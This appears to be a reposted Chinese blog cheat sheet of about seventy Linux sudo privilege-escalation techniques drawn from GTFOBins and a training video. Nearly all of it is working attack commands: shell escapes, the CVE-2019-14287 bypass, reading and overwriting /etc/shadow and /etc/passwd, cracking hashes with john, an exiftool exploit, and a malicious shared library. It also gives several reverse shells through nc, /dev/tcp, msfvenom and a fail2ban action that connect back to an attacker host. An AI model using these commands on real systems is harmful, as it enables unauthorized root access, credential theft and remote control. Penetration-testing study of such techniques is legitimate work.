Linux提权sudo篇
文章目录
- linux提权
- 01. CVE-2019-14287
- 02. sudo apt
- 03. sudo apach2
- 04. sudo ash
- 05. sudo awk
- 06. sudo base64
- 07. sudo bash
- 08.sudo cp
- 09.sudo cpulimit
- 10.sudo curl
- 11.sudo date
- 12.sudo dd
- 13.sudo dstat
- 14. sudo ed
- 15.sudo env
- 16.exiftool
- 17.sudo expect
- 18.sudo fail2ban
- 19.sudo find
- 20.sudo flock
- 21.sudo ftp
- 22.sudo gcc
- 23.sudo gdb
- 24.sudo git
- 25.sudo gzip/gunzip
- 26.sudo hping3
- 27.sudo iftop
- 28.sudo java
- 29.sudo jjs
- 30.sudo journalctl
- 31.sudo knife
- 32.sudo less
- 33.sudo man
- 34.sudo more
- 35.sudo mount
- 36.sudo mysql
- 37.sudo nano
- 38.sudo neofetch
- 39.sudo nice
- 40.sudo nmap
- 41.sudo node
- 42.sudo nohup
- 43.sudo openvpn
- 44.sudo passwd
- 45.sudo perl
- 46.sudo php
- 47.sudo pico
- 48.sudo pkexec
- 49.sudo python3
- 50.sudo rvim
- 51.sudo scp
- 52.sudo screen
- 53.sudo script
- 54.sudo sed
- 55.sudo service
- 56.sudo socat
- 57.sudo ssh
- 58.sudo ssh-keygen
- 59.sudo strace
- 60.sudo systemctl
- 61.sudo tcpdump
- 62.sudo tee
- 63.sudo timedatectl
- 64.sudo tmux
- 65.sudo vi
- 66.sudo wall
- 67.sudo watch
- 68.sudo wget
- 69.sudo zip
- 70.sudo xxd
linux提权
根据红队笔记的视频整理出来的文档,原视频链接:Linux提权精讲-sudo风暴
- 参考文档:GTEOBins
- 使用系统自带可执行文件绕过本地安全限制的文档
01. CVE-2019-14287
-
使用场景
sudo -l 显示(ALL,!root)NOPASSWORD:/bin/bash
-
如何利用
sudo -u#-1 /bin/bash # sudo -u用于切换用户,后面#uid也可切换到对应身份,-1会被解释为0,实现提权
-
使用限制
适用于sudo版本低于1.8.28的情况
sudo -V | grep version # 查看sudo的版本
02. sudo apt
sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash
- apt-get与此利用方法相同
03. sudo apach2
sudo apache2 -f /etc/shadow
可以获得root用户的哈希值,然后用john进行破解
sudo john shadow_root --wordlist=/usr/share/wordlists/rockyou.txt
04. sudo ash
ash 是一种轻量级的 Unix Shell,通常用作嵌入式系统的默认 Shell。
sudo ash # 直接用这条命令即可提权
bash# 进入交互界面,方便查看
05. sudo awk
sudo awk 'BEGIN{system("/bin/bash")}'
06. sudo base64
cat /etc/shadow # 提示没有权限
将变量加密后再解密
test=/etc/shadow
sudo base64 "$test" | base64 -d # 发现shadow文件的内容被显示出来
将root的一行的hash值复制下来保存到shadow_root.txt,利用john来破解密码
john shadow_root --wordlist=/usr/share/wordlists/rockyou.txt
若破解成功,可以直接通过su
输入root密码切换到root用户
07. sudo bash
直接提取
sudo bash
08.sudo cp
生成明文密码hash
mkpasswd -m sha-512 123456
-m
指定加密方式sha-12是linux默认的hash保存方式- 生成123456的hash
查看shadow中hash的格式
sudo cat /etc/shadow | gerp root
将root对应的hash替换为生成的hash,并保存到shadow_entry.txt文件
root:$6$71zZsMmGf/fbratq$1nAOA7a694iZHf3qVamD1yUY6xFebUtU2mSvRBzsOe4UfHTXXGL0Jk88.K2V6CJVz5Q7YmoX8dwY3aGyEpo5K1:19871:0:99999:7:::
利用过程
test=/etc/shadow
TF=$(mktemp) # 指向生成的临时文件
echo 'root:$6$71zZsMmGf/fbratq$1nAOA7a694iZHf3qVamD1yUY6xFebUtU2mSvRBzsOe4UfHTXXGL0Jk88.K2V6CJVz5Q7YmoX8dwY3aGyEpo5K1:19871:0:99999:7:::' > $TF
echo $TF
cat /tmp/tmp.rsajeo
sudo /usr/bin/cp $TF $test # 注意这个操作会将原来的shadow文件覆盖掉,不备份的话无法恢复
su # 密码123456
09.sudo cpulimit
sudo cpulimit -l 100 -f /bin/bash
-l
cpu使用率
10.sudo curl
mkpasswd -m sha-512 123456
sudo cat /etc/shadow | gerp root
将hash值替换为我们生成的hash,保存到shadow_entry
制作一个简易的web服务器,开放80端口
sudo php -S 0:80
在靶机中执行以下命令
sudo curl http://192.168.225.128/shadow_entry -o /etc/shadow
curl
访问-o
保存到etc/shadow(会覆盖文件,有损,最后提前备份)
11.sudo date
sudo date -f /etc/shadow
-f
从指定文件中读取日期,指定为shadow文件会因报错泄露信息
将root的hash保存到shadow_root,使用john进行破解
sudo john shadow_root --wordlist=/usr/share/wordlists/rockyou.txt
若破解不成功则无法使用该方法提权
12.sudo dd
mkpasswd -m sha-512 123456
按照shadow的保存形式生成一条数据
sudo cata /ect/shadow | grep root
用生成的hash替换原有的root的密码并将其保存在shadow_root.txt
root:$6$71zZsMmGf/fbratq$1nAOA7a694iZHf3qVamD1yUY6xFebUtU2mSvRBzsOe4UfHTXXGL0Jk88.K2V6CJVz5Q7YmoX8dwY3aGyEpo5K1:19871:0:99999:7:::
回到靶机中,echo刚刚生成的数据用dd给到etc
echo 'root:$6$71zZsMmGf/fbratq$1nAOA7a694iZHf3qVamD1yUY6xFebUtU2mSvRBzsOe4UfHTXXGL0Jk88.K2V6CJVz5Q7YmoX8dwY3aGyEpo5K1:19871:0:99999:7:::' | sudo dd of=/etc/shadow
会覆盖原shadow文件,最好先备份
13.sudo dstat
查找dstat的目录
find / -name dstat -type d 2>/dev/null
type d
指定查找的类型问目录2>/dev/null
:将错误信息扔掉
列出插件目录
ls /usr/share/dstat
构造一个提权的py文件
vim dstat_testword.py
写入提权的语法
import os;os.execv("/bin/bash",["bash"])
将py文件cp到dstat的插件目录
cp dstat_testword.py /usr/share/dstat/dstat_testword.py
执行插件
sudo dstat --testword
14. sudo ed
进入到编辑器
sudo /usr/bin/ed
执行bash
!/bin/bash
15.sudo env
sudo env /bin/bash
16.exiftool
本地提权利用逻辑:exploit-db中编号为50911
编辑一个payload
vi payload
写入原数据
(metadata "\c${system('/bin/bash')};")
bzz进行压缩
bzz payload payload.bzz
djvumake生成一个利用文件
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
exiftool执行
sudo exiftool exploit.djvu
17.sudo expect
sudo expect -c "spawn /bin/bash;interact"
18.sudo fail2ban
查找目录
find / -name "fail2ban*" -type d 2>/dev/null
查找可写的目录(action.d)
find /etc -writeable -type d 2>/dev/null
查看fail2ban的配置文件,查看最大尝试次数maxretry
cd /etc/fail2ban/
vim jail.conf
定义action的行为
cd /etc/fail2ban/action.d/
ls
iptables-multiport.conf
定义了尝试次数超过原定次数时候的处理方式,查看文件的权限
ls -liah iptables-multiport.conf
如果文件可写的话
先备份文件
mv iptables-mutiport.conf iptables-multiport.conf.bak
cp iptables-multiport.conf.bak iptables-mutiport.conf
查看文件的属性
ls -liah iptables-mutiport.conf
发现文件的所属者为当前用户jack
修改文件,将参数actionban修改成提权逻辑
actionban = rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.225.128 4444 > tmp/f
重启让action生效
sudo /etc/init.d/fail2ban restart
回到kali进行监听
sudo nc -lvp 4444
重新启动一个会话连接靶机,多次随便输入错误密码
sudo ssh jack@192.168.225.144
获得反弹shell
19.sudo find
sudo find . -exec /bin/bash \; -quit
20.sudo flock
flock -u 解锁对应目录文件并允许被执行
sudo flock -u / /bin/bash
21.sudo ftp
sudo ftp
!/bin/bash
22.sudo gcc
sudo gcc -wrapper /bin/bash,-s .
23.sudo gdb
sudo gdb -nx -ex '!bash' -ex quit
24.sudo git
查看帮助
sudo git branch --help
!/bin/bash
25.sudo gzip/gunzip
将shadow文件压缩
sudo gzip -f /etc/shadow -t
-f
强制执行-t
尝试读取
执行后会获得shadow存储的数据,将root的数据存放在shadow_root,然后使用john进行破解
john shadow_root --wordlist=/usr/share/wordlists/rockyou.txt
26.sudo hping3
hping3用于分析网络环境,生成数据包
sudo hping3
启动系统命令提取
/bin/bash
27.sudo iftop
iftop是命令行网络流量监控工具,用于实时显示网络接口带宽使用情况
sudo iftop
输入!
告诉应用开始执行系统命令
/bin/bash
28.sudo java
生成反弹shell
sudo msfvenom -p java/shell_reverse_tcp LHOST=192.168.225.128 LPORT=4444 -f jar -o shell.jar
建立简易web服务器用于传递shell文件
sudo php -S 0:80
在本地建立监听
nc -lvp 4444
回到靶机,切换到/tmp目录
wget http://192.168.225.128/shell.jar
给文件赋予执行权限
chmod +x shell.jar
执行文件
sudo java -jar shell.jar
获得反弹shell,查看是否安装python/python3
which python
which python3
创建交互性界面
python -c "import pty;pty.spawn('/bin/bash')"
29.sudo jjs
echo "Java.type('java.lang.Runtime').getRuntime().exec(["/bin/bash","-c",'exec 5<>/dev/tcp/192.168.225.128/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done'].waitFor()" | sudo jjs
建立监听
nc -lvp 4444
创建交互界面
python -c "import pty;pty.spawn('/bin/bash')"
如果报错的话还可以通过以下方法建立交互界面
-
重启一个终端用于监听端口
nc -lvp 4444
-
靶机直接连接
nc 192.168.225.128 -e /bin/bash
如果不行的话执行:
bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.225.128 4444 >/tmp/f
30.sudo journalctl
journalctl用于管理系统日志
sudo journalctl
!/bin/bash
31.sudo knife
sudo knife exec -E 'exec "/bin/bash"'
32.sudo less
mktmp生成当前目录下的临时文件
mktmp ./XXXXX
假如临时文件名为./dahai
sudo less dahai
执行系统命令
!/bin/bash
33.sudo man
sudo man ls
执行系统命令
!/bin/bash
34.sudo more
mktmp ./XXXXX
假如生成的文件为./asjds,先生成一个文件重定向到asjds
yes ttest > asjds
查看文件属性
ls -liah asjds
发现文件很大,取文件的前五十个数据放在asjds_small中
head -n 50 asjds > asjds_small
查看文件大小
cat asjds_small | wc -l
执行more命令
sudo more asjds_small
按!
告诉界面开始执行系统命令
!/bin/bash
35.sudo mount
mout用于挂在文件系统
sudo mount -o bind /bin/bash /usr/bin/mount
sudo mount
36.sudo mysql
sudo mysql -e '\!/bin/bash'
37.sudo nano
sudo nano
ctrl+R读取文件,然后执行ctrl+X执行命令
reset;bash 1>&0 2>&0
显示上可能会有问题,用几次回车
38.sudo neofetch
neofetch用于显示配置信息、系统信息等
生成一个临时文件
ttest=$(mktemp)
将提取逻辑写入文件
echo 'exec /bin/bash' > $ttest
执行neofetch将刚才的临时文件引入进来
sudo neofetch --config $ttest
39.sudo nice
nice用于修改进程的优先级
sudo nice /bin/bash
40.sudo nmap
声明一个变量指向临时文件
ttest=$(mktemp)
写入提权逻辑
echo 'os.execute("/bin/bash")' > $ttest
namp将脚本引入进来
sudo namp --script=$ttest
41.sudo node
sudo node -e "requrie('child_process').spawn('/bin/bash',{stdio:[0,1,2]})"
42.sudo nohup
sudo nohup /bin/bash -c "bash <$(tty) >$(tty) 2>$(tty)"
43.sudo openvpn
sudo openvpn --config /etc/shadow
报错信息会将shadow的第一行显示出来,将其保存在shadow_root文件中,然后用john进行破解
john shadow_root --wordlist=/usr/share/wordlists/rockyou.txt
44.sudo passwd
修改root的密码为123456
sudo passwd root
su
输入密码123456切换
45.sudo perl
sudo perl -e 'exec "/bin/bash";'
46.sudo php
sudo php -r "system('/bin/bash');"
47.sudo pico
pico是跟nano相似的文本编辑器
sudo pico
按ctrl+R然后ctrl+X
reset;bash 1>&0 2>&0
48.sudo pkexec
sudo pkexec /bin/bash
49.sudo python3
sudo python3 -c "import os;os.system('/bin/bash')"
50.sudo rvim
sudo rvim -c ':python import os;os.execl("/bin/bash","-c","reset;exec bash")'
51.sudo scp
生成一个临时文件
ttest=$(mktemp)
写入提权逻辑
echo 'bash 0<&2 1<&2' > ttest
赋予执行权限
chmod +x "$ttest"
执行scp
sudo scp -S $ttest x y:
52.sudo screen
screen是一个终端复用工具
sudo screen
按回车结束
53.sudo script
script用于启动一个新的shell会话,然后记录所有的shell命令
如果单纯的用于提权(会留下记录)
sudo script
在渗透测试中如何提权
sudo script -q /dev/null
54.sudo sed
sed是一个文本处理工具,用于对文本进行读取和处理
sudo sed -n '1e exec bash 1>&0' /etc/hosts
55.sudo service
service用于管理linux中的系统服务,可以将可执行文件作为服务启动
sudo service ../../bin/bash
56.sudo socat
socat用于建立双向的数据传输通道,可以用stdin作为标准输入执行命令
sudo socat stdin exec:/bin/bash
交互性不是很好,查看是否安装python/python3
which python
which python3
建立交互界面
python -c "import pty;pty.spawn('/bin/bash')"
57.sudo ssh
sudo ssh -o ProxyCommand=';bash 0<&2 1>&2' x
58.sudo ssh-keygen
将提权逻辑写入动态链接库
vim ttest.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void inject()__attribute__((constructor));
void inject(){
setuid(0);
system("/bin/bash -p");
}
编译库
gcc -shared -fPIC -o ttest.so ttest.c
提权
sudo ssh-keygen -D ./ttest.so
59.sudo strace
strace用于追踪另一个进程的系统调用
sudo strace -o /dev/null /bin/bash
60.sudo systemctl
systemctl用于启动停止查看系统服务等
sudo systemctl
!
执行系统命令
!/bin/bash
61.sudo tcpdump
tcpdump用于监听捕获网络流量
vim ttest.sh
写入提权逻辑
mknod ttest_pipe p && /bin/nc 192.168.225.128 4444 0<ttest_pipe | /bin/bash 1>ttest_pipe
设置监听
nc -lvp 4444
赋予文件执行权限
chmod +x ttest.sh
查看文件属性
ls -liah ttest.sh
执行
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /home/user/ttest.sh -Z root
创建交互性界面
python -c "import pty;pty.spawn('/bin/bash')"
62.sudo tee
tee将输入中读取的数据写入文件且输出到标准输出
在kali中用openssl生成hash
openssl passwd -1 -salt ttest '123456'
利用linux中passwd的组成形式构造一条数据
ttest:$1$ttest$OZMFYfKxWVVzhi3niiXDj.:0:0:root:/root:/usr/bin/bash
回到靶机,将构造的数据追加到passwd
echo 'ttest:$1$ttest$OZMFYfKxWVVzhi3niiXDj.:0:0:root:/root:/usr/bin/bash' | sudo tee -a /etc/passwd
su ttest
63.sudo timedatectl
sudo timedatectl list-timezones
!/bin/bash
64.sudo tmux
sudo tmux
65.sudo vi
sudo vi -c ':!/bin/bash' /dev/null
66.sudo wall
sudo wall --no /etc/shadow
将root数据存储在shadow_root,并使用john进行破解
john shadow_root --wordlist=/usr/share/wordlists/rockyou.txt
67.sudo watch
sudo watch -x bash -c 'reset;exec bash 1>&0 2>&0'
68.sudo wget
生成一个临时文件
ttest=$(mktemp)
赋予执行权限
chmod +x $ttest
写入提权逻辑
echo -e '#!/bin/bash\n/bin/bash 1>&0' > $ttest
sudo wget --use-askpass=$ttest 0
69.sudo zip
sudo zip foo /etc/hostname -T -TT 'bash #'
70.sudo xxd
xxd用于将二进制转换成十六进制或反向操作
sudo xxd /etc/shadow | xxd -r
将root的数据保存到shadow_root,并使用john进行破解
john shadow_root --wordlist=/usr/share/wordlists/rockyou.txt
原文地址:https://blog.csdn.net/weixin_70059007/article/details/143823676
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!